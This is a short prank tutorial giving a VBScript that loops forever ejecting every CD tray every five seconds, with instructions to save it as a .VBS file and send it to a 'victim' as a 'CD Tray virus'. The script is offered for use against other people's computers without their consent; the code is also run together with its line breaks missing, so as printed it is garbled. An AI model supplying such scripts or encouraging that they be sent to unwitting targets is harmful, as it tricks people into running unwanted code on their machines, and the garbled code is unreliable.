There is a simple trick to pop out the CD tray continuously. This trick can be used to annoy friends or enemy. You have to just send this file to the victim.
This can also be considered as CD Tray virus.
Here is a simple trick to pop out the CD tray continuously.
- Open notepad.
- Type the following code in notepad:
Set oWMP = CreateObject("WMPlayer.OCX.7")Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count -1colCDROMs.Item(i).EjectNextEnd Ifwscript.sleep 5000loop
- Save it as "CD Tray.VBS".
- Run this file.
- Now CD Tray would pop out continuously.
- To stop this script Open Task Manager and under processes stop the process “wscript.exe”.
So it is a simple trick to Pop out the CD Tray continuously.